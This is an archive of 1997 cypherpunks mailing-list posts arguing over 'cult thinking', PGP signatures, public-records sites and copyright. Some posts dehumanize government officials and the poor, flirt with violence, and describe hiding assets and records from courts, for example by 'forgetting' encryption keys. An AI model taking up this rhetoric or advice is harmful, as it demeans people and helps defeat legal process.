From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 21 Aug 1997 17:19:06 +0800
To: cypherpunks@toad.com
Subject: CypherPunk Cults / Re: An end to "court appointed attorneys"
Message-ID: <199708210826.KAA14179@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Kent Crispin wrote:

> On Wed, Aug 20, 1997 at 08:51:09PM -0700, Tim May wrote:
> > But the ability of a herd to take a vote, real or alleged, will not be
> > sufficient to collect tribute from those who don't want to make the
> > contribution freely.
 
> Note another characteristic of cult thinking -- total separation of
> the illuminati from the "herd" -- the idea that the "chosen" are
> irrevocably different from those other unfortunate creatures that
> accidentally share the same physical form.

  I am one of the "chosen." As a matter of fact, I am not only 
the Grand PoohBaah of the TruthMonger CypherPunk Cult, I am its
"sole" member.
  Black Unicorn is the "soul" member of the Black Unicorn CypherPunk
Cult, and its Grand Pooh-Baaa...Baaaa...Baaaa.
  Blanc Weber is the Grand PoohBroad of the Blanc Weber CypherPunk
Cult, even though her cult does not have a "member."

  I realize that it is difficult for someone who defines themself
by their position in the "group" or their membership in the "herd"
to truly conceive of perceiving life from the perspective of an
individual entity with social capabilities.
  If the cypherpunks mailing list is attacked in my presence, I may
well choose to join in circling the wagons, even if I am capable of
outrunning the attack, or I may choose to shout, "It's OK, I'm going
for help." as I ride off over the horizon to the nearest bar. And
later I may make the same or a different choice if the fight-
censorship list is attacked in my presence.

  The key word is "choice." As in "free."
  "Free...Choice"
  Am I missing something here? Does my brain make a connection between
these two words because of an electrical malfunction, or am I correct
in my assumption that these two concepts are closely related?

  "Voluntary...Mandatory"
  Buuzzzzzz!!!!!!!!!!!!!
  Oops! This combination causes a genuine short circuit, setting off all
kinds of bells, buzzers and flashing lights.
  (BAD COP! NO DONUT!!)

  To tell the truth, I "chose" myself as sole member and Grand 
PoohBah of the TruthMonger CypherPunk Cult because I *do* feel 
that I am "irrevocably different" from "those other unfortunate
creatures" that share a physical form similar to mine.
  Of course all of those other people are fucking idiots! That's
why I chose *me* to live my life, and not them. And I'm sure that
most of them feel the same. Have you ever sat down at watched the
world go by, viewing every passing person from the perspective of,
"What if I, in this body, were like them? Thought like them, liked
what they liked, hated what they hated, acted as they act."
  I've done that when I was on top of the world, and I've done 
that when I was in the gutter, and the answer was always the same.
  "Fuck those idiots! I'm *me*, not them!"

  Nothing personal, Kent, but if I had chosen you to live my life,
I think it would have been a bad mistake. And vice-versa, I am sure.

> > As to the billion or so underpeople who are incapable of contributing that
> > which others are willing to freely compensate them for, think of it as
> > evolution in action.
> >
> > Besides, in about 6.7 years, the world will have replaced them. People are
> > like Doritos...the world will make more.
> 
> One wonders if there is a microscope powerful enough to resolve Tim
> May's heart.

  Tim speaks of those who feel it is their duty/right to "collect
tribute from those who don't want to make the contribution freely."
  Do you feel he is "obligated" to pay tribute to the people who
show up on his doorstep wanting money to buy child sex-slaves? How
about Bibles? Fatty hamburgers? Lean Cuisine? Taxes?

  Somewhere in the world there is a child dying of hunger who could
be fed for a time if you sold your computer and bought food for the
child. But the child is *not* dying *because* you didn't sell your
computer and buy him/her food.
  The child is dying for the same reason that you and I are also
dying--because it was born. ("No One Gets Out Of Here Alive")

  Bill Gates is a Cult of One, and a starving child is a Cult of
One. Bill Gates is feeding a lot of people. Is he feeding *enough*
people? Ask him, I'm sure he'll tell you how *he* feels about it.
  Perhaps Bill Gates is "bleeding" a few people to survive in the
business jungle. Is he bleeding *too*many* people? Ask him, I'm
sure he'll tell you how he feels about it.
  Mother Teresa is a Cult of One. That is how many people she
eats for, in order to stay alive. Is she murdering a starving
child with every bite she takes? Do you also need a powerful 
microscope to find *her* heart?

  Years ago, the Reader's Digest had an ancedote about a small
rural town with only one house. When entering the "town" from
either side, there was a welcoming sign just like one sees in
many cities and towns across the nation.
  The sign read something like this:

             "Welcome to Smithville."
                 "Population 1"
              "Mayor -- Dave Smith."
           "Fire Marshall -- Dave Smith"
           "Town Treasurer -- Dave Smith"
  "Drive Carefully. The life you save could be Dave's."

  So it was not surprising to find out that Dave Smith is a CypherPunk.
(David E. Smith <dave@bureau42.ml.org>)

  Have you never noticed that it is called the cypherpunks mailing list?
                                                         ^
  Plural, Kent, plural. The name is plural in order to warn newcomers
to the list that we are not all "one" and that, despite the wishes of
Rodney King, we may not all "get along." 
  The word "we" is for use by Kings, Priests, and people with tapeworms.
I'm not adverse to striking a deal where you watch my back and I watch
yours, but if you are incapable of watching your own front, then it's
really not my problem.

  If Tim is low on ammo, he would probably find it in his best interest
to cover you while you make a break for yours. If he has plenty of ammo
he might *choose* to do the same, for his own reasons.
  I, for one, however, would not want to show up on his doorstep and
tell him he was *obligated* to cover me while I attempted to get back
the ammo I had given away when the government "required" it of me.
  It's not because I think he's heartless. It's because I *don't*
think he's *brainless*.

TruthMonger
"Who will help me load my Uzi?" said the Little Red Hen.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Pool <mbp@pharos.com.au>
Date: Thu, 21 Aug 1997 08:44:46 +0800
To: Jim Burnes <jim.burnes@ssds.com>
Subject: Re: Bad signature from announce@lp.org
In-Reply-To: <Pine.LNX.3.95.970820181959.28582G-100000@westsec.denver.ssds.com>
Message-ID: <Pine.LNX.3.95.970821102312.7946D-100000@buffalo.pharos.com.au>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 20 Aug 1997, Jim Burnes wrote:

> > > ------- Forwarded Message Follows -------
> > > -----BEGIN PGP SIGNED MESSAGE-----
> > > 
> > > ===============================================
> > > NEWS FROM THE LIBERTARIAN PARTY
> > > 2600 Virginia Avenue, NW, Suite 100
> > > Washington DC 20037
> > > ===============================================
> > [...]
> > 
> > On my machine, using keyid 1024/A7406ED1 <announce@lp.org> the signature
> > did not match the message.  Most likely there was a harmless alteration in
> > the process of being forwarded, but possibly the message is bogus. 
> > 
> > Martin Pool
> > 
> > 
> 
> Yes...the "-------- Forwarded Message Follows ------" line.
> 
> Unless you already took that into account in which case its
> probably the ">" symbols or something to that effect.

No, the "-------- Forwarded Message Follows ------" line is before the PGP
begin line, so I think it should not corrupt the signature.  I can't see
any '>' quotes inside the message.  I suppose probably there's an extra
space or newline in there.  I'm not 100% sure if PGP collapses
whitespace to avoid this or not... I imagine probably not.

Martin Pool






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Thu, 21 Aug 1997 09:36:19 +0800
To: Anonymous <anon@anon.efga.org>
Subject: Re: None
In-Reply-To: <OiRFUU6G+Tx6k6IjY/Q9Pw==@JawJaCrakR>
Message-ID: <Pine.OSF.3.96.970821111645.3455A-100000@oberon>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 20 Aug 1997, Anonymous wrote:

> >It's actually closer to a cult -- a small group with it's own shared
> >reality -- a reality quite at variance with societal norms. 

[...]

> Ahhh, look, the spook speaks.

Never the less the spook has a good point.  We must never let ourselfs get
into a form of group thing or let ourselfs get blinded by ideology.



Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep. Buy easter bilbies.
Save the ABC Is $0.08 per day too much to pay?   ex-net.scum and proud
I'm sorry but I just don't consider 'because its yucky' a convincing argument





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: gturk@concentric.net
Date: Thu, 21 Aug 1997 23:40:27 +0800
To: cypherpunks@toad.com
Subject: Socio-Economic Cults (Re: CypherPunk Cults)
In-Reply-To: <199708210826.KAA14179@basement.replay.com>
Message-ID: <3.0.3.32.19970821112449.00973890@pop3.concentric.net>
MIME-Version: 1.0
Content-Type: text/plain



TruthMonger wrote:

>  Tim speaks of those who feel it is their duty/right to "collect
>tribute from those who don't want to make the contribution freely."

You must be referring to the Cult of Redistribution.

"A Fatal Tendency of Mankind

"Self-preservation and self-development are common aspirations among all
people.  And if everyone enjoyed the unrestricted use of his faculties and
the free disposition of the fruits of his labor, social progress would be
ceaseless, uninterrupted, and unfailing.

"But there is also another tendency that is common among people.  When
they can, they wish to live and prosper at the expense of others.  This is
no rash accusation.  Nor does it come from a gloomy and uncharitable
spirit.  The annals of history bear witness to the truth of it: the
incessant wars, mass migrations, religious persecutions, universal
slavery, dishonesty in commerce, and monopolies.  This fatal desire has
its origin in the very nature of man -- in that primitive, universal, and
insuppressible instinct that impels him to satisfy his desires with the
least possible pain."

-- Bastiat, "The Law", June 1850






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 21 Aug 1997 23:47:22 +0800
To: cypherpunks@toad.com
Subject: Soon the neighbor's dog will be in the act...(Was Re: book talktoday)
Message-ID: <v03110714b0220e3657ec@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


X-PGP-Key: <http://www1.shore.net/~sable/info/rltkey.htm>
X-Sender: rodney@pop3.pn.com
Date: Thu, 21 Aug 1997 09:25:50 -0400
To: dcsb@ai.mit.edu
From: Rodney Thayer <rodney@sabletech.com>
Subject: book talk today
Mime-Version: 1.0
Sender: bounce-dcsb@ai.mit.edu
Precedence: bulk
Reply-To: Rodney Thayer <rodney@sabletech.com>

I was in SoftPro in Burlington (the bookstore) last night and saw they are
having an "Internet Cryptography Seminar" today at 6pm, "featuring Dr.
Richard E. Smith, author of "Internet Cryptography".

I wonder if he'll be digitally signing copies of the book :-)

For help on using this list (especially unsubscribing), send a message to
"dcsb-request@ai.mit.edu" with one line of text: "help".

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Fri, 22 Aug 1997 00:07:01 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: An end to "court appointed attorneys"
In-Reply-To: <19970820222934.23073@bywater.songbird.com>
Message-ID: <Pine.SUN.3.96.970821115250.16275D-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 20 Aug 1997, Kent Crispin wrote:

> One wonders if there is a microscope powerful enough to resolve Tim 
> May's heart.

Meethinks (not speaking for Tim) that years under a fascist natzi-like
regime bent on ripping out all out freedoms one by one and confiscating
all things threatening to it would cause any awake person to lose any
compassion for the scum that run our Freeh country.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 22 Aug 1997 00:28:28 +0800
To: cypherpunks@toad.com
Subject: Re: Socio-Economic Cults (Re: CypherPunk Cults)
Message-ID: <1.5.4.32.19970821161048.00743ce8@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



gturk wrote:

>You must be referring to the Cult of Redistribution.

Tis true that as these accusatory options for blaming others
are displayed here, it becomes hard to tell who's potshotting from
what shifting position to gain better fire lines at friend and
foe and own foot.

As the Bastiat quote shows, the 19th century is a fount of
apologies for wizened rapacity, as are those stuck in that time warp
of heyday national and indiivudal self-destruction in the cause of 
unshakeable rigteousness, an affliction far from cured in nations and
individuals wanting to be Number One while totally whacked
out on ... take your pick from the socio-politico-econo bazaar,
most of which derives from the days of pre-Bastiat and now 
recycled by crazy-lazy-minded 20th century rip-offers of the
insecurely rich.

Will evolution in action ever kick in, or will the promise of it,
like dreams of social justice and faith in the constitution and arms, 
forever cheat the maniacally despairing with so few other choices
for peace of mind?

Are there any reliable prefabricated alternatives from history, from
today, to self-imposed sheepledom of your sole invention?

Now, to move on to the day's news: Is Tim going to be kidnapped
by a gang of mixed breed cops and ammo merchants, shot instantly
and chained in dugout till his loved redeems his maggoty carcass by
redistributing his nestegg? That's the topic of the NYT's lead business 
story today, the need for secret ransom insurance, so secret that it 
does not make you a free-for-taking target like the usual unwise display 
of peacockery.

Hide it if you got it, hide your lush affiliations too, the poor reporters 
advise, or the world's scum with nothing else to do but watch and wait 
are gonna snag your unsmart ass when you least expect it, now as in 
ages past, unless, to be sure, more scum-world guardians are hired 
and more big-nuke prayerbooks and ransom policys are arsenaled 
bedside, 4X, ankle and thigh.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 22 Aug 1997 01:33:51 +0800
To: Mike <Michael.Johnson@mejl.com>
Subject: Re: PGP5i supports RSA keys?
In-Reply-To: <3.0.3.32.19970819080948.009b9190@localhost>
Message-ID: <199708211719.MAA08114@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <3.0.3.32.19970819080948.009b9190@localhost>, on 08/19/97 
   at 08:09 AM, Mike <Michael.Johnson@mejl.com> said:

> Anybody is able
>to run PGP5 today on Win32/Mac/Linux. If you can't get access to at least
>one of those platforms, then you're not much of a cypherpunk, are
>you?

I see to be an "official" Cypherpunk(TM) you can only use an approved
Operating System??

I guess I woun't be getting my secret decoder ring in the mail then?

Smuck!

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM/xrMo9Co1n+aLhhAQG4KwP/XiVcephv5gclrh2Lww+8u8tzO4JisWCT
cJ3Hx+haSA4CBkXLoBzrrst/9loFKwowyIcjXA+f+OIMiBJKQV6JmLMgL1RzcRXQ
PIQJy1ZbFb4q/x0AVC39lXcDeHV5LOhyzQqdD0/n2P3cQf/TAsiYZme0oZw7mOOF
GC8+wqTNFEg=
=rlAC
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Tim G. May BFD" <forger@dev.null>
Date: Fri, 22 Aug 1997 10:44:30 +0800
To: cypherpunks@toad.com
Subject: Bad Forgery / Re: Socio-Economic Cults (Re: CypherPunk Cults)
In-Reply-To: <1.5.4.32.19970821161048.00743ce8@pop.pipeline.com>
Message-ID: <33FC87FA.5E6E@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Tim G. May *DID*NOT* write:
> "When all you have is a gun, everything looks like a target."
> 
> Tim G. May
> There's something wrong when I'm limping on a decreasing number of toes
> -----------------------------------------------------------------------
>     This post is selflessly copyrighted under the auspices of the
>              Electronic Bad Forgery Foundation (TM).
> ~~~~
>        {This probably means it's Toto again. Check the headers.}
>                                                                    ~~~~
>         "Imitation is the sincerest form of forgery."
> -----------------------------------------------------------------------

  This is obviously a bad forgery. (It's a *good* bad forgery, however.
I almost thought I did it myself.)
  The giveaway in this forgery is the fact that I actually work for the
"Bad Forgery Department" of the B.F. Deal Record Company, Austin, TX.

Tim G. May
    There's something wrong when I'm a forger under an increasing
            number of duplicitous schiziod breaks.
-----------------------------------------------------------------------
    This post is selflessly copyrighted under the auspices of the
                Bad Forgery Department, B.F. Deal (TM).
~~~~
                {Has anyone seen my medicine? -- Toto}
                                                                   ~~~~
  "Imitation is the sincerest form of Obsessive-Compulsive Disorder."
-----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 22 Aug 1997 04:04:24 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Socio-Economic Cults (Re: CypherPunk Cults)
In-Reply-To: <1.5.4.32.19970821161048.00743ce8@pop.pipeline.com>
Message-ID: <v0310280ab02249696406@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




I usually can't understand more than 5% of what John writes, but then I was
never very good at Blake, Coleridge, and all those DWM dudes.

But I think I understand this paragraph:

At 9:10 AM -0700 8/21/97, John Young wrote:

>Now, to move on to the day's news: Is Tim going to be kidnapped
>by a gang of mixed breed cops and ammo merchants, shot instantly
>and chained in dugout till his loved redeems his maggoty carcass by
>redistributing his nestegg? That's the topic of the NYT's lead business
>story today, the need for secret ransom insurance, so secret that it
>does not make you a free-for-taking target like the usual unwise display
>of peacockery.

Like the game of chicken, it pays to look like a madman. Strangelovian
logic, but valid. If attackers _think_ a victim will pay a ransom, or
relatives will, or that hostage/ransom demands will be met, the result is
both more such events "overall" (which is usually not a concern we as
individualists have), but also an increased probability of
kidnapping/terrorism in the first place. Fairly classical game theory, with
mix-ins specifically of the tragedy of the commons ("everyone negotiates")
and the iterated prisoner's dilemma ("let's all agree not to negotiate,"
except many "defect" from the pact).

Interestingly, many of the strategies for moving assets offshore, to
offshore banks and money havens, is not so much to evade taxes as to
"protect assets." Protect them from ransom/extortion demands of the _legal
profession_ sort, e.g., "deep pockets" lawsuits. For example, somebody
finds out that J. Random Cypherpunk is  financially well off--perhaps from
the increasing number of online credit report records, etc.--and decides to
have a convenient "fall" on his property. He then sues for some large
amount, either covered by Homeowner's Insurance, or more.

(Think this is paranoia? Look into "deep pockets," Lerach, and the
escalation of such lawsuits.)

Not to mention lawsuits by ex-spouses (or even current spouses, who want a
bigger cut of the action).

This is part of what Duncan talks about with his points about "judgment
proofing" oneself. (Two main ways to do this: have few assets, and rent
cars, keep residence somewhat secret. Or, move assets beyond the grasp of
the court system. Both have advantages and disadvantages.)

Unsurprisingly, such attempts to hide assets, even if not done for tax
evasion reasons!!!, are looked at unkindly by the authorities, who would
like it much better if all assets were visible to them and hence pluckable
on various pretexts. The restrictions on banking privacy--named in true
Orwellian fashion, the "Bank Privacy Act"--can be seen as moves to force
all assets out into the open. And the whole "discovery" process in divorce
and civil cases, where even private diaries and personal papers must be
produced for perusal by various parties, is a shameful abrogation of Fourth
Amendment protections. That a court has duly ordered the turning over of
diaries, letters, records, etc. is no excuse.

(When I was at Intel we were urged to never write down anything which could
be used against the company in a lawsuit. Increasingly this meant "don't
write anything down on paper" unless it is neutral and bland. I understand
things have since gotten even more paranoid, and that this is a common
practice. Under "discovery," literally tons of records can be ordered up,
including Day-Timers, scratchpad notes, archives of e-mail, etc. Technical
solutions abound, of course, such as hosting the archives in offshore
locations, or using strong crypto....and "forgetting" the key. This,
obviously, is yet another reason the authorities want "key recovery.")

>Hide it if you got it, hide your lush affiliations too, the poor reporters
>advise, or the world's scum with nothing else to do but watch and wait
>are gonna snag your unsmart ass when you least expect it, now as in
>ages past, unless, to be sure, more scum-world guardians are hired
>and more big-nuke prayerbooks and ransom policys are arsenaled
>bedside, 4X, ankle and thigh.

Not sure what this means, but hiding assets is becoming harder, not easier.
Strong crypto may someday reverse this, but it sure ain't the case today.

(Don't anybody waste their or my time with penny ante ideas for getting
small amounts of money out of the country.)

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Pool <mbp@pharos.com.au>
Date: Thu, 21 Aug 1997 12:24:21 +0800
To: cypherpunks@toad.com
Subject: Re: publicdata.com
Message-ID: <Pine.LNX.3.95.970821125914.7946M-100000@buffalo.pharos.com.au>
MIME-Version: 1.0
Content-Type: text/plain



The fact that it will now be controlled from Anguilla is particularly
tasty. 

Martin
      -- Don't believe everything you read.

------ fwded ------------------------
Forwarded-by: glen mccready <glen@qnx.com>
Resent-Date: Wed, 20 Aug 1997 11:14:49 -0400
Resent-From: 0xdeadbeef@substance.abuse.blackdown.org
Forwarded-by: Nev Dull <nev@bostic.com>
Forwarded-by: "John P. Kole" <kole@slash.rsn.hp.com>

This is referring to the web site that allowed you to obtain drivers
license information from a name, or a name from a license tag number.

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Date: Mon, 18 Aug 1997 02:54
From: WEBINFO@PUBLICDATA.COM
Subj: GoodBye PublicData.com

Dear Friends, 

It is with mixed emotions that I bring you news as to the future of
PublicData.com.  First let me tell you that we appreciate all of the
letters of support that you have sent.  During the many days of
confusion, your kind letters help us to remain focused on the tasks at
hand. 

Our company ShadowSoft, Inc. publishes Public Records CDs and we
specialize in consulting or contracting with databases (preferably
large databases).  ShadowSoft was approached around the end on 1996
and was asked if we could place our public records databases on the
Internet.  After a little bit of tinkering the basic model that you
see at PublicData.com was developed. 

ShadowSoft is staffed with the best technical people in the  
industry but we don't have skills in the area of marketing. 
It has been our desire all along to simply be the technical and 
database contractor for someone who wished to run the business  
of marketing and merchandising PublicData.com.  A law passed by 
the Texas legislature this year banning the distribution of public
data records over the Internet has made finding a merchandiser
difficult and has made us re-think our position.  I have made the
decision that ShadowSoft shall cease operating PublicData.com on
August 31, 1997. 

Because of my own personal belief that keeping public records  
available to the public in a free society is critical and essential to
keeping our country free, ShadowSoft has sold PublicData.com to a
company based in Anguilla, British West Indies.  The company which is
named PublicData.com.ai Ltd. has purchased all of the programs that
ShadowSoft developed which gives you access to the information over
the Internet.  In addition, ShadowSoft will  consult for
PublicData.com but our data was not sold to them  as a part of our
deal.  Instead, PublicData.com has purchased another copy of the same
databases and should be able to provide uninterrupted service to you
after September 1, 1997. 

The new owners of PublicData.com should be sending you a note 
very soon.  Thanks again for all of your support and please consider 
keeping a subscription with PublicData.com. 

Sincerely, 

Bruce 
President 

ShadowSoft, Inc.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 22 Aug 1997 04:14:09 +0800
To: cypherpunks@Algebra.COM
Subject: Rants by Zooko about Emotionally Stunted Men
In-Reply-To: <199708211706.TAA00218@xs1.xs4all.nl>
Message-ID: <v0310280bb0224f44c45a@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:06 AM -0700 8/21/97, Zooko Journeyman wrote:
> A million monkeys operating under the pseudonym
> "Ray Arachelian <sunder@sundernet.com>" typed:
>>
>> Meethinks (not speaking for Tim) that years under a fascist natzi-like
>> regime bent on ripping out all out freedoms one by one and confiscating
>> all things threatening to it would cause any awake person to lose any
>> compassion for the scum that run our Freeh country.
>
>
>BULL SHIT.
>
>
>This is a cop-out, used by emotionally stunted men to excuse
>themselves from their solemn responsibility to ethically
>justify their own actions and to deal fairly with their fellow
>humans.
>
>
>By reciting mantras to one another emphasizing their sense of
>having been mistreated and their sense of having
>_unquestionable_ moral superiority, people in this situation
>persuade each other to become more and more fanatical in their
>attitudes, less and less in touch with reality, and less and
>less compassionate towards the "others" who have been demonized
>in the process.

I have written truly large numbers of posts explicating my philosophy. You
may not agree with my point of view, but characterizing me--as I assume you
were in your response to this thread about "Tim's heart"--as merely
reciting mantras to others is false.

It is you, B., who have generally been inactive on the list for quite some
time, only occasionally dropping in to snipe. Referring to us as
"emotionally stunted men",,,now there's a solid argument for whatever it is
your position is.


>Note that this process _always_ includes a group of other
>humans which are demonized in order to serve as a scapegoat and
>as a concrete focus for the participant's negative emotions.

You mean like "emotionally stunted men"?

Or do you mean like the characterization of list members as "socio-economic
cult" members?

>But I will _never_ take one of these actions while intoxicated
>by a cloud of hatred and self-righteousness.  I will _never_
>tell myself that I am part of a sacred jihad which absolves me
>of all guilt, and I will _never_ re-classify my enemies as
>sub-human in order to justify my treatment of them.
>
>So take a fucking BREAK man.  Just get up from the computer and
>go for a fucking walk in the mountains and think about your
>fucking family and loved ones.

You sound like you're ranting to me. Lecturing others on their anger while
writing "take a fucking BREAK man" and foaming about sacred jihads and
emotionally stunted men....

Physician, heal thyself.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Stutz <stutz@dsl.org>
Date: Fri, 22 Aug 1997 01:46:27 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: creative references (was Re: CPAC Quotes Templeton)
In-Reply-To: <199708192312.AAA03093@server.test.net>
Message-ID: <Pine.LNX.3.95.970821132352.9882F-100000@devel.nacs.net>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 20 Aug 1997, Adam Back wrote:

> Is it possible to include text in a web page?  I know you can do
> images (as in the above example) by doing:
> 
> 	Look what the silly copyright police are doing...
> 
> 	<IMG SRC="http://copyright.police.com/copyright-image.gif">
> 
> 	isn't that a daft claim?
> 
> And copyright.police.com is serving their own image so they have no
> grounds for complaint.  (Moi? I just referenced it... it was Joe Q
> Publics web browser which combined my text and your copyrighted
> image).

Right, so this isn't an infringement on their so-called rights because your
document does not contain the image but just the link. The problem, I think,
is in thinking of the HTML document as a completed work and not a set of
instructions, for which it is. The completed "page" exists soley on the
screen of the browsing party, and the copyright-image.gif graphic in
question was obtained from the copyright.police.com web site and not yours.

Plus, I think it could be further argued that by putting any information on
the Web implies that you are allowing any other party on the Web to link to
it in any way they so choose.

> Now I don't think you can do
> 
> 	<TEXT SRC="http://copyright.police.com/copyright-article.html">
> 
> directly, but I'd be willing to bet you could do it with javascript/or
> java, in such a way that the viewer wouldn't really figure out where
> the various parts of the current "page" were coming from.

A very useful program would be one which could obtain a portion of text from
any page, or obtain the text from a page _starting_ at a certain point, not
unlike the <http://somplace.com/somedoc.html#foo> notation, but without the
<a name="foo"> tag having to exist. Then, any portion of text from any page
could be easily referenced.


> Anyway, the copyright police, WIPO, SPA etc. are the enemy in my book.
> The difficulty of trying to applying these old laws to the internet
> where they hardly make sense, suggests that copyright is going to have
> to "give" longer term to adjust to reality.  Legislation against
> gravity never works out long term.

For sure. In a geodesic network, the center will not hold.

m

email stutz@dsl.org  Copyright (c) 1997 Michael Stutz; this information is
<http://dsl.org/m/>  free and may be reproduced under GNU GPL, and as long
                     as this sentence remains; it comes with absolutely NO
		     WARRANTY; for details see <http://dsl.org/copyleft/>.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Fri, 22 Aug 1997 02:26:30 +0800
To: Zooko Journeyman <zooko@xs4all.nl>
Subject: Re: heart
In-Reply-To: <199708211706.TAA00218@xs1.xs4all.nl>
Message-ID: <Pine.SUN.3.96.970821134724.8176A-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 21 Aug 1997, Zooko Journeyman wrote:

> This is a cop-out, used by emotionally stunted men to excuse 
> themselves from their solemn responsibility to ethically 
> justify their own actions and to deal fairly with their fellow
> humans.

The elected scum are far from being human.  Apparently you haven't been
paying attention to lovely incidents involving plungers.  Is that
demonizing them?  Yes?  Good!
 
> By reciting mantras to one another emphasizing their sense of 
> having been mistreated and their sense of having 
> _unquestionable_ moral superiority, people in this situation 
> persuade each other to become more and more fanatical in their 
> attitudes, less and less in touch with reality, and less and 
> less compassionate towards the "others" who have been demonized
> in the process.

What compassion did they show?  Toilet plungers?  Bullets in the head,
flame throwers and tanks?

Unquestionable?  The very fact that I'm replying to you rather than
sending out the toilet plunger brigade should give you a hint.  What would
the LEA's do were you to present the same arguement to them and cause
enough noise that others took notice?

> Note that this process _always_ includes a group of other 
> humans which are demonized in order to serve as a scapegoat and
> as a concrete focus for the participant's negative emotions.

Right.  Same thing they must have been feeding the FBI the morning of the
Waco incident.  I believe the key phrases were "gun toting child
molesters."  Nevermind that they fried to a crisp those same kids they
supposedly were going to free from the clutches of the evil gun toting
child molesters, and the supposed molesters.
 
> This process is objectively identical to the process 
> experienced by _all_ hate groups, gangs and nationalists.

Incorrect: this process is objectively identical to the process
experienced by all HUMANS when faced with a horrid freedom destroying
government.  That it coincidentally is the same for the jackbooted thugs
before they are told to attack.

The difference is that no one is telling me to hate or feel rage.  The
actions of those who abuse freedom are my only inspiration.

> You are standing in the auditorium, Louis Freeh's face is 
> displayed on the screen, interposed with film of jackbooted 
> thugs breaking down your door, and you are screaming wordlessly
> at him along with all of your brethren during the Two Minutes 
> Hate.

Better that than standing in the auditorium and having Philip Zimmerman's
face displayed on the screen, interposed with a film of keys and cyphers
encrypting data and screaming wordlessly durring the Two Minutes of
Hate.  At least the former is based in honesty, not governmental orderes
under the threat of thoughtcrime.  It's not enough to fear Big Brother,
you must love him.

> THAT should give you pause for thought, Ray.

Still doesn't lessen the enemy's action, nor will it help the wrongs they
commited any.
 
> Listen to me:  I might take up arms in the trenches next to you
> someday, if it comes to that.  I might murder enemies or 
> civilians in their sleep, if I were convinced that it was the 
